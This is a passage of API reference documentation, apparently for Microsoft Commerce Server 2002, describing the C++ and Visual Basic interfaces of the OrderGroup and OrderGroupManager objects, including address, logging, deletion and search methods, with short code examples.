[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRetVal parameter points to valid data only if the method completed successfully.

This method updates the OrderGroup template name field if the strTemplateName parameter is supplied.

If you originally loaded the OrderGroup from another state (ie a basket) and call SaveAsTemplate method, the original OrderGroup remains on disk unchanged.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oOrderGroup is a Commerce.OrderGroup object
' vResult is a Variant
vResult = oOrderGroup.SaveAsTemplate()

See Also

[C++] OrderGroup Object

[C++] _OrderGroup::SaveAsBasket

[C++] _OrderGroup::SaveAsOrder

[Visual Basic] OrderGroup Object

[Visual Basic] OrderGroup.SaveAsBasket

[Visual Basic] OrderGroup.SaveAsOrder


_OrderGroup::SetAddress Method [C++]

OrderGroup.SetAddress Method [Visual Basic]

Use this method to add a specified address dictionary to the OrderGroup Addresses collection of the OrderGroup.

Definition

[C++]
HRESULT _OrderGroup::SetAddress(
  BSTR strAddressId,
  IDictionary* oAddressDict
);
[Visual Basic]
Sub SetAddress(
  strAddressId As String,
  oAddressDict As Object
)

Parameters

strAddressId [C++]
[in] A BSTR that specifies the address ID of the address to be added.
strAddressId [Visual Basic]
A String that specifies the address ID of the address to be added.
oAddressDict [C++]
[in] A pointer to the IDictionary interface that contains the address dictionary to be added.
oAddressDict [Visual Basic]
A Dictionary object that contains the address information to be added.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oOrderGroup is a Commerce.OrderGroup object
' oAddDict is an address Dictionary object
oOrderGroup.SetAddress("{AABBC9CC-C33E-11D0-B8A0-00C04FB616C7}", oAddDict)

See Also

[C++] OrderGroup Object

[C++] _OrderGroup::SetAddressFromFields

[Visual Basic] OrderGroup Object

[Visual Basic] OrderGroup.SetAddressFromFields


_OrderGroup::SetAddressFromFields Method [C++]

OrderGroup.SetAddressFromFields Method [Visual Basic]

Use this method to set the OrderGroup address dictionary values as specified by the supplied Fields object. The column names in the field object will be mapped to dictionary keys names in the resultant address dictionary.

Definition

[C++]
HRESULT _OrderGroup::SetAddressFromFields(
  BSTR strAddressId,
  Fields* flds
);
[Visual Basic]
Sub SetAddressFromFields(
  strAddressId As String,
  flds As Object
)

Parameters

strAddressId [C++]
[in] A BSTR that specifies the address ID of the address dictionary to be added.
strAddressId [Visual Basic]
A String that specifies the address ID of the address dictionary to be added.
flds [C++]
[in] A reference to a Fields object that contains the address information to be added.
flds [Visual Basic]
A Fields object that contains the address information to be added.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oOG is a Commerce.OrderGroup object
' oFlds is a Fields object
oOG.SetAddressFromFields("{34ECC9CC-C33E-11D0-B8A0-00C04FB616C7}", _
    oFlds)

See Also

[C++] OrderGroup Object

[C++] _OrderGroup::SetAddress

[Visual Basic] OrderGroup Object

[Visual Basic] OrderGroup.SetAddress


_OrderGroup::SetShippingAddress Method [C++]

OrderGroup.SetShippingAddress Method [Visual Basic]

Use this method to set the shipping address id for the specified line items.

Definition

[C++]
HRESULT _OrderGroup::SetShippingAddress(
  BSTR address_id,
  VARIANT_BOOL bOverWrite,
  VARIANT nItemIndex,
  VARIANT strOrderFormName
);
[Visual Basic]
Sub SetShippingAddress(
  address_id As String,
  Optional bOverWrite As Boolean,
  Optional nItemIndex As Variant,
  Optional strOrderFormName As Variant
)

Parameters

address_id [C++]
[in] A BSTR that specifies the address ID to designate as the shipping address.
address_id [Visual Basic]
A String that specifies the address ID to designate as the shipping address.
bOverWrite [C++]
[in, optional, defaultvalue (-1)] A VARIANT_BOOL that indicates whether to overwrite the shipping_address_id, if it already exists. A value of VT_TRUE indicates that an overwrite should occur. A value of VT_FALSE indicates that an overwrite should not occur.
bOverWrite [Visual Basic]
A Boolean that indicates whether to overwrite the shipping_address_id, if it already exists. A value of True indicates that an overwrite should occur. A value of False indicates that an overwrite should not occur.
nItemIndex [C++]
[in, optional] A VARIANT that specifies the line item index where the shipping_address_id will be set. If not specified, all line items will be set.
nItemIndex [Visual Basic]
A Variant that specifies the line item index where the shipping_address_id will be set. If not specified, all line items will be set.
strOrderFormName [C++]
[in, optional] A VARIANT that specifies the OrderForm on which to perform the operation. If not specified, all OrderForms will be used if nItemIndex is unspecified; otherwise, the "default" OrderForm will be used.
strOrderFormName [Visual Basic]
A Variant that specifies the OrderForm to perform the operation. If not specified, all OrderForms will be used if nItemIndex is unspecified; otherwise, the "default" OrderForm will be used.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The bOverWrite, nItemIndex, and strOrderFormName parameters work in a way similar to the same parameters in the PutItemValue method. Before performing the set operations, this method first ensures that the address id exists.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oOrdGrp is a Commerce.OrderGroup object
oOrdGrp.SetShippingAddress(("{34ECC9CC-C33E-11D0-B8A0-00C04FB616C7}", _
    True, 4, "testOrderFormName")

See Also

[C++] OrderGroup Object

[Visual Basic] OrderGroup Object


_OrderGroup Properties [C++]

OrderGroup Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
LogFile | BSTR | Log file name for pipeline runs. Allows pipeline logging when set to a non-empty string. This property is read/write.
SavePrefix | BSTR | Specifies a key prefix that will prevent a dictionary entry from being saved to the database.
Value | VARIANT | Returns the OrderGroup object attributes.This property is read-only.
[Visual Basic]
Property | Type | Description
LogFile | String | Log file name for pipeline runs. Allows pipeline logging when set to a non-empty string. This property is read/write.
SavePrefix | String | Specifies a key prefix that will prevent a dictionary entry from being saved to the database.
Value | Variant | Returns the OrderGroup object attributes. This property is read-only.


_OrderGroup::get_LogFile, put_LogFile Property [C++]

OrderGroup.LogFile Property [Visual Basic]

The LogFile property is a read/write String that specifies the file name used for pipeline logging during the execution of the RunPipe method.

Definition

[C++]

Get method:

HRESULT _OrderGroup::get_LogFile(
  BSTR* LogFile
);

Put method:

HRESULT _OrderGroup::put_LogFile(
  BSTR LogFile
);
[Visual Basic]
Property LogFile As String

Parameters

LogFile [C++]
[in] When putting the property, a BSTR that contains the log file.
[out, retval] When getting the property, a pointer to a BSTR used to return the log file.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++]

Remarks

The LogFile parameter contains valid data only if the property is accessed successfully.

Set the LogFile parameter to an empty string ("") to disable logging.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic] Set the LogFile parameter to an empty string ("") to disable logging.

See Also

[C++] OrderGroup Object

[Visual Basic] OrderGroup Object


_OrderGroup::get_SavePrefix, put_SavePrefix Property [C++]

OrderGroup.SavePrefix Property [Visual Basic]

Specifies a key prefix that will prevent a dictionary entry from being saved to the database.

Definition

[C++]

Get method:

HRESULT _OrderGroup::get_SavePrefix(
  BSTR* SavePrefix
);

Put method:

HRESULT _OrderGroup::put_SavePrefix(
  BSTR SavePrefix
);
[Visual Basic]
Property SavePrefix() As String

Parameters

SavePrefix [C++]
[in] When putting the property, a BSTR that contains the save prefix.
[out, retval] When getting the property, a pointer to a BSTR used to return the save prefix.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The Value parameter contains valid data only if the property is accessed successfully.

No dictionary entry that has a key name that begins with the value of the SavePrefix roperty will be saved to the database. Assuming that the SavePrefix property is set to the underscore character ("_"), if the value of _adjusted_price is $ 200 and the value of total_price is $ 400, then $ 200 will not be persisted, but $ 400 will be persisted.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] OrderGroup Object

[Visual Basic] OrderGroup Object


_OrderGroup::get_Value Property [C++]

OrderGroup.Value Property [Visual Basic]

The Value property is a read-only Variant that contains the OrderGroup-level attributes as a dictionary.

Definition

[C++]
HRESULT _OrderGroup::get_Value(
  VARIANT* Value
);
[Visual Basic]
Property Value As Variant

Parameters

Value [C++]
[out, retval] A pointer to a VARIANT used to return the Value dictionary.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The Value parameter contains valid data only if the property is accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] OrderGroup Object

[Visual Basic] OrderGroup Object


OrderGroupManager Object [C++]

OrderGroupManager Object [Visual Basic]

Use this object to manage OrderGroup objects and their contents. This object allows you to search for orders or baskets without having to use SQL queries. It also allows for OrderGroup object deletions.

ProgID: | Commerce.OrderGroupManager (Externally creatable)
COM Class Name: | OrderGroupManager
Type Library Name: | Microsoft Commerce 2002 OrderGroup Type Library
DLL Name: | requisition.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | _OrderGroupManager
Interface ID Constant: | None
Header File: | None
[C++]

In C++, use the _OrderGroupManager interface to access the properties and methods of the OrderGroupManager object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
DeleteOrderGroupFromDisk | Checks whether a connection to the database has been established for the specified OrderGroup object, and then deletes the OrderGroup object and all objects contained within it from the site database. Use this method for OrderGroup objects saved as baskets and templates.
DeleteReceiptGroupFromDisk | Checks whether a connection to the database has been established for the specified OrderGroup object, and then deletes the OrderGroup object and all objects contained within it from the site database. Use this method for OrderGroup objects saved as orders.
Find | Performs a search based on the specified SQL clause fragments.
FindTemplatesForUser | Finds an ADO recordset of OrderGroup object templates for the specified user. Returns an ADO recordset of the search results.
GetOrderSummary | Returns a recordset containing the summary information for the order.
Initialize | Creates a connection to the specified database.
SimpleDelete | Deletes all entries that meet the search criteria as specified by the supplied SimpleFindSearchInfo and SimpleFindResultInfo objects.
SimpleFind | Returns an ADO recordset of OrderGroup object items based on the specified SimpleFindSearchInfo object values and SimpleFindResultInfo object values. These object values contain the search criteria.
[Visual Basic]
Method | Description
DeleteOrderGroupFromDisk | Checks whether a connection to the database has been established for the specified OrderGroup object, and then deletes the OrderGroup object and all objects contained within it from the site database. Use this method for OrderGroup objects saved as baskets and templates.
DeleteReceiptGroupFromDisk | Checks whether a connection to the database has been established for the specified OrderGroup object, and then deletes the OrderGroup object and all objects contained within it from the site database. Use this method for OrderGroup objects saved as orders.
Find | Performs a search based on the specified SQL clause fragments.
FindTemplatesForUser | Finds an ADO recordset of OrderGroup object templates for the specified user. Returns an ADO recordset of the search results.
GetOrderSummary | Returns a recordset containing the summary information for the order.
Initialize | Creates a connection to the specified database.
SimpleDelete | Deletes all entries that meet the search criteria as specified by the supplied SimpleFindSearchInfo and SimpleFindResultInfo objects.
SimpleFind | Returns an ADO recordset of OrderGroup object items based on the specified SimpleFindSearchInfo object values and SimpleFindResultInfo object values. These object values contain the search criteria.

Properties

[C++]
Property | Type | Description
DebugReturnSQL | VARIANT_BOOL | Determines if methods of this object will run a SQL Server query and return the resulting recordset, or if it will construct the SQL Server query and return the query string. This property is read/write.
OrderFormHeaderColumns | VARIANT | Returns a string of comma-separated OrderFormHeader table column names. This property is read-only.
OrderFormLineItemsColumns | VARIANT | Returns a string of comma-separated OrderFormLineItems table column names. This property is read-only.
OrderGroupColumns | VARIANT | Returns a string of comma-separated OrderGroup table column names. This property is read-only.
[Visual Basic]
Property | Type | Description
DebugReturnSQL | Boolean | Determines if methods of this object will run a SQL Server query and return the resulting recordset, or if it will construct the SQL Server query and return the query string. This property is read/write.
OrderFormHeaderColumns | Variant | Returns a string of comma-separated OrderFormHeader table column names. This property is read-only.
OrderFormLineItemsColumns | Variant | Returns a string of comma-separated OrderFormLineItems table column names. This property is read-only.
OrderGroupColumns | Variant | Returns a string of comma-separated OrderGroup table column names. This property is read-only.

See Also

[C++] Business Process Objects

[C++] OrderGroup Object

[C++] OrderForm Object

[C++] SimpleFindSearchInfo Object

[C++] SimpleFindResultInfo Object

[Visual Basic] Business Process Objects

[Visual Basic] OrderGroup Object

[Visual Basic] OrderForm Object

[Visual Basic] SimpleFindSearchInfo Object

[Visual Basic] SimpleFindResultInfo Object


_OrderGroupManager Methods [C++]

OrderGroupManager Methods [Visual Basic]

Methods

[C++]
Method | Description
DeleteOrderGroupFromDisk | Checks whether a connection to the database has been established for the specified OrderGroup object, and then deletes the OrderGroup object and all objects contained within it from the site database. Use this method for OrderGroup objects saved as baskets and templates.
DeleteReceiptGroupFromDisk | Checks whether a connection to the database has been established for the specified OrderGroup object, and then deletes the OrderGroup object and all objects contained within it from the site database. Use this method for OrderGroup objects saved as orders.
Find | Performs a search based on the specified SQL clause fragments.
FindTemplatesForUser | Finds an ADO recordset of OrderGroup object templates for the specified user. Returns an ADO recordset of the search results.
GetOrderSummary | Returns a recordset containing the summary information for the order.
Initialize | Creates a connection to the specified database.
SimpleDelete | Deletes all entries that meet the search criteria as specified by the supplied SimpleFindSearchInfo and SimpleFindResultInfo objects.
SimpleFind | Returns an ADO recordset of OrderGroup object items based on the specified SimpleFindSearchInfo object values and SimpleFindResultInfo object values. These object values contain the search criteria.
[Visual Basic]
Method | Description
DeleteOrderGroupFromDisk | Checks whether a connection to the database has been established for the specified OrderGroup object, and then deletes the OrderGroup object and all objects contained within it from the site database. Use this method for OrderGroup objects saved as baskets and templates.
DeleteReceiptGroupFromDisk | Checks whether a connection to the database has been established for the specified OrderGroup object, and then deletes the OrderGroup object and all objects contained within it from the site database. Use this method for OrderGroup objects saved as orders.
Find | Performs a search based on the specified SQL clause fragments.
FindTemplatesForUser | Finds an ADO recordset of OrderGroup object templates for the specified user. Returns an ADO recordset of the search results.
GetOrderSummary | Returns a recordset containing the summary information for the order.
Initialize | Creates a connection to the specified database.
SimpleDelete | Deletes all entries that meet the search criteria as specified by the supplied SimpleFindSearchInfo and SimpleFindResultInfo objects.
SimpleFind | Returns an ADO recordset of OrderGroup object items based on the specified SimpleFindSearchInfo object values and SimpleFindResultInfo object values. These object values contain the search criteria.


_OrderGroupManager::DeleteOrderGroupFromDisk Method [C++]

OrderGroupManager.DeleteOrderGroupFromDisk Method [Visual Basic]

Use this method to check whether a connection to the site database has been established for the specified OrderGroup object, and then delete the OrderGroup object and all objects contained within it from the database. Use this method when the state of the OrderGroup object is set to basket or template.

Definition

[C++]
HRESULT _OrderGroupManager::DeleteOrderGroupFromDisk(
  BSTR OrderGroupID
);
[Visual Basic]
Sub DeleteOrderGroupFromDisk(
  OrderGroupID As String
)

Parameters

OrderGroupID [C++]
[in] A BSTR that contains the OrderGroup object ID.
OrderGroupID [Visual Basic]
A String that contains the OrderGroup object ID.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' sOrderGroupID is a string containing a valid OrderGroupID
' oOrderGroupManager is a Commerce OrderGroupManager object
oOrderGroupManager.DeleteOrderGroupFromDisk(sOrderGroupID)

See Also

[C++] OrderGroupManager Object

[Visual Basic] OrderGroupManager Object


_OrderGroupManager::DeleteReceiptGroupFromDisk Method [C++]

OrderGroupManager.DeleteReceiptGroupFromDisk Method [Visual Basic]

Use this method to delete an OrderGroup object and all objects contained within it from the site database, when the state of the OrderGroup object is set to order.

Definition

[C++]
HRESULT _OrderGroupManager::DeleteReceiptGroupFromDisk(
  BSTR OrderGroupID
);
[Visual Basic]
Sub DeleteOrderGroupFromDisk(
  OrderGroupID As String
)

Parameters

OrderGroupID [C++]
[in] A BSTR that contains the OrderGroup object ID.
OrderGroupID [Visual Basic]
A String that contains the OrderGroup object ID.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' sOrderGroupID is a string containing a valid OrderGroupID
' oOrderGroupManager is a Commerce OrderGroupManager object
oOrderGroupManager.DeleteReceiptGroupFromDisk(sOrderGroupID)

See Also

[C++] OrderGroupManager Object

[Visual Basic] OrderGroupManager Object


_OrderGroupManager::Find Method [C++]

OrderGroupManager.Find Method [Visual Basic]

Use this method to perform a search based on the specified SQL clause fragments.

Definition

[C++]
HRESULT _OrderGroupManager::Find(
  VARIANT OrderGroupCriteriaArray,
  VARIANT OrderFormCriteriaArray,
  VARIANT LineItemCriteriaArray,
  VARIANT SearchDateTimeColumn,
  VARIANT SearchDateTimeStart,
  VARIANT SearchDateTimeEnd,
  long StatusFilter,
  VARIANT_BOOL JoinOrderFormInfo,
  VARIANT_BOOL JoinLineItemInfo,
  VARIANT Columns,
  VARIANT OrderGroupSortColumn,
  VARIANT SortDirection,
  long PageSize,
  long PageNumber,
  VARIANT* outTotalRecordsFound,
  VARIANT* vtResults
);
[Visual Basic]
Function Find(
  OrderGroupCriteriaArray As Variant,
  OrderFormCriteriaArray As Variant,
  LineItemCriteriaArray As Variant,
  Optional SearchDateTimeColumn As Variant,
  Optional SearchDateTimeStart As Variant,
  Optional SearchDateTimeEnd As Variant,
  Optional StatusFilter As Long,
  Optional JoinOrderFormInfo As Boolean,
  Optional JoinLineItemInfo As Boolean,
  Optional Columns As Variant,
  Optional OrderGroupSortColumn As Variant,
  Optional SortDirection As Variant,
  Optional PageSize As Long,
  Optional PageNumber As Long,
  Optional outTotalRecordsFound As Variant
) As Variant

Parameters

OrderGroupCriteriaArray [C++]
[in] A VARIANT that contains the SQL clause used to search for a specific set of order groups.
OrderGroupCriteriaArray [Visual Basic]
A Variant that contains the SQL clause used to search for a specific set of order groups.
OrderFormCriteriaArray [C++]
[in] A VARIANT that contains the SQL clause used to search for a specific set of order forms.
OrderFormCriteriaArray [Visual Basic]
A Variant that contains the SQL clause used to search for a specific set of order forms.
LineItemCriteriaArray [C++]
[in] A VARIANT that contains the SQL clause used to search for a specific set of line items.
LineItemCriteriaArray [Visual Basic]
A Variant that contains the SQL clause used to search for a specific set of line items.
SearchDateTimeColumn [C++]
[in, optional] A VARIANT that specifies the DateTime column name to search for; if left null, the DateTime column name does not become part of the search criteria.
SearchDateTimeColumn [Visual Basic]
A Variant that specifies the DateTime column name to search for; if left null, the DateTime column name does not become part of the search criteria. This parameter is optional.
SearchDateTimeStart [C++]
[in, optional] A VARIANT that specifies the DateTime start value to search for; if left null, the DateTime start value does not become part of the search criteria.
SearchDateTimeStart [Visual Basic]
A Variant that specifies the DateTime start value to search for; if left null, the DateTime start value does not become part of the search criteria. This parameter is optional.
SearchDateTimeEnd [C++]
[in, optional] A VARIANT that specifies the DateTime end value to search for; if left null, the DateTime end value does not become part of the search criteria.
SearchDateTimeEnd [Visual Basic]
A Variant that specifies the DateTime end value to search for; if left null, the DateTime end value does not become part of the search criteria. This parameter is optional.
StatusFilter [C++]
[in, optional, defaultvalue (0)] A long that stores the order group status.
StatusFilter [Visual Basic]
A Long that stores the order group status. This parameter is optional.
JoinOrderFormInfo [C++]
[in, optional, defaultvalue (0)] A VARIANT_BOOL indicating whether to include the OrderFormHeader table in the results.
JoinOrderFormInfo [Visual Basic]
A Boolean indicating whether to include the OrderFormHeader table in the results. This parameter is optional.
JoinLineItemInfo [C++]
[in, optional, defaultvalue (0)] A VARIANT_BOOL indicating whether to include the OrderFormLineItems table in the results.
JoinLineItemInfo [Visual Basic]
A Boolean indicating whether to include the OrderFormLineItems table in the results. This parameter is optional.
Columns [C++]
[in, optional] A VARIANT that contains the names of the columns to return in addition to the default columns.
Columns [Visual Basic]
A Variant that contains the names of the columns to return in addition to the default columns. This parameter is optional.
OrderGroupSortColumn [C++]
[in, optional] A VARIANT that contains the OrderGroup column name on which to sort.
OrderGroupSortColumn [Visual Basic]
A Variant that contains the OrderGroup column name on which to sort. This parameter is optional.
SortDirection [C++]
[in, optional] A VARIANT that contains the sort direction. This parameter is optional. Possible values for this parameter are the SQL strings "ASC" or "DESC".
SortDirection [Visual Basic]
A Variant that contains the sort direction. This parameter is optional. Possible values for this parameter are the SQL strings "ASC" or "DESC".
PageSize [C++]
[in, optional, defaultvalue (20)] A long that contains the number of line items per page. With this method, you can implement a paging mechanism that allows you to page through your orders. (These could be viewed in a list sheet, for example.) This parameter setting must be coordinated with the PageNumber parameter.
PageSize [Visual Basic]
A Long that contains the number of line items per page. With this method, you can implement a paging mechanism that allows you to page through your orders. (These could be viewed in a list sheet, for example.) This parameter setting must be coordinated with the PageNumber parameter. This parameter is optional and has a default value of 20.
PageNumber [C++]
[in, optional, defaultvalue (1)] A long that contains the page number to jump to. With this method, you can implement a paging mechanism that allows you to page through your orders. (These could be viewed in a list sheet, for example.) This parameter setting must be coordinated with the PageSize parameter.
PageNumber [Visual Basic]
A Long that contains the page number to jump to. With this method, you can implement a paging mechanism that allows you to page through your orders. (These could be viewed in a list sheet, for example.) This parameter setting must be coordinated with the PageSize parameter. This parameter is optional.
outTotalRecordsFound [C++]
[out] A pointer to a VARIANT that specifies the total number of records found.
outTotalRecordsFound [Visual Basic]
A Variant that specifies the total number of records found.
vtResults [C++]
[out, retval] A pointer to a VARIANT used to return the recordset containing the result set that meets the search criteria.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns Variant that contains the recordset containing the result set that meets the search criteria.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The vtResults parameter points to valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vRecordset is a Variant
' vOrderGroupCriteriaArray is a Variant
' vOrderFormCriteriaArray is a Variant
' vLineItemCriteriaArray is a Variant
' oOrderGroupManager is a Commerce OrderGroupManager object
vRecordset = oOrderGroupManager.Find(vOrderGroupCriteriaArray, _
    vOrderFormCriteriaArray, vLineItemCriteriaArray)

See Also

[C++] OrderGroupManager Object

[C++] _OrderGroupManager::SimpleFind

[Visual Basic] OrderGroupManager Object

[Visual Basic] OrderGroupManager.SimpleFind


_OrderGroupManager::FindTemplatesForUser Method [C++]

OrderGroupManager.FindTemplatesForUser Method [Visual Basic]

Use this method to build and return an ADO recordset of OrderGroup object templates for the specified user.

Definition

[C++]
HRESULT _OrderGroupManager::FindTemplatesForUser(
  BSTR UserId,
  VARIANT SearchDateTimeColumn,
  VARIANT SearchDateTimeStart,
  VARIANT SearchDateTimeEnd,
  VARIANT_BOOL JoinOrderFormInfo,
  VARIANT_BOOL JoinLineItemInfo,
  VARIANT Columns,
  VARIANT OrderGroupSortColumn,
  VARIANT SortDirection,
  long PageSize,
  long PageNumber,
  VARIANT* outTotalRecordsFound,
  VARIANT* pvtRetVal
);
[Visual Basic]
Function FindTemplatesForUser(
  UserId As String,
  Optional SearchDateTimeColumn As Variant,
  Optional SearchDateTimeStart As Variant,
  Optional SearchDateTimeEnd As Variant,
  Optional JoinOrderFormInfo As Variant,
  Optional JoinLineItemInfo As Variant,
  Optional Columns As Variant,
  Optional OrderGroupSortColumn As Variant,
  Optional SortDirection As Variant,
  Optional PageSize As Long,
  Optional PageNumber As Long,
  Optional outTotalRecordsFound As Variant
) As Variant

Parameters

UserId [C++]
[in] A BSTR that contains the user ID globally unique identifier (GUID).
UserId [Visual Basic]
A String that contains the user ID GUID.
SearchDateTimeColumn [C++]
[in, optional] A VARIANT that contains the DateTime column name to use in the search.
SearchDateTimeColumn [Visual Basic]
A Variant that contains the DateTime column name to use in the search. This parameter is optional.
SearchDateTimeStart [C++]
[in, optional] A VARIANT that contains the search DateTime start value.
SearchDateTimeStart [Visual Basic]
A Variant that contains the search DateTime start value. This parameter is optional.
SearchDateTimeEnd [C++]
[in, optional] A VARIANT that contains the search DateTime end value.
SearchDateTimeEnd [Visual Basic]
A Variant that contains the search DateTime end value. This parameter is optional.
JoinOrderFormInfo [C++]
[in, optional, defaultvalue (0)] A VARIANT_BOOL that indicates whether the OrderFormHeader table is included in the search. A value of True indicates that the table is included. A value of False indicates that the table is not included.
JoinOrderFormInfo [Visual Basic]
A Boolean that indicates whether the OrderFormHeader table is included in the search. A value of True indicates that the table is included. A value of False indicates that the table is not included. This parameter is optional.
JoinLineItemInfo [C++]
[in, optional, defaultvalue (0)] A VARIANT_BOOL that indicates whether the OrderFormLineItem table is included in the search. A value of True indicates that the table is included. A value of False indicates that the table is not included.
JoinLineItemInfo [Visual Basic]
A Boolean that indicates whether the OrderFormLineItem table is included in the search. A value of True indicates that the table is included. A value of False indicates that the table is not included. This parameter is optional.
Columns [C++]
[in, optional] A VARIANT that contains the names of columns that you want returned in addition to the default columns.
Columns [Visual Basic]
A Variant that contains the names of columns that you want returned in addition to the default columns. This parameter is optional.
OrderGroupSortColumn [C++]
[in, optional] A VARIANT that contains the OrderGroup sort column.
OrderGroupSortColumn [Visual Basic]
A Variant that contains the OrderGroup sort column. This parameter is optional.
SortDirection [C++]
[in, optional] A VARIANT that contains the sort direction.
SortDirection [Visual Basic]
A Variant that contains the sort direction. This parameter is optional.
PageSize [C++]
[in, optional, defaultvalue (20)] A long that contains the page size.
PageSize [Visual Basic]
A Long that contains the page size. This parameter is optional.
PageNumber [C++]
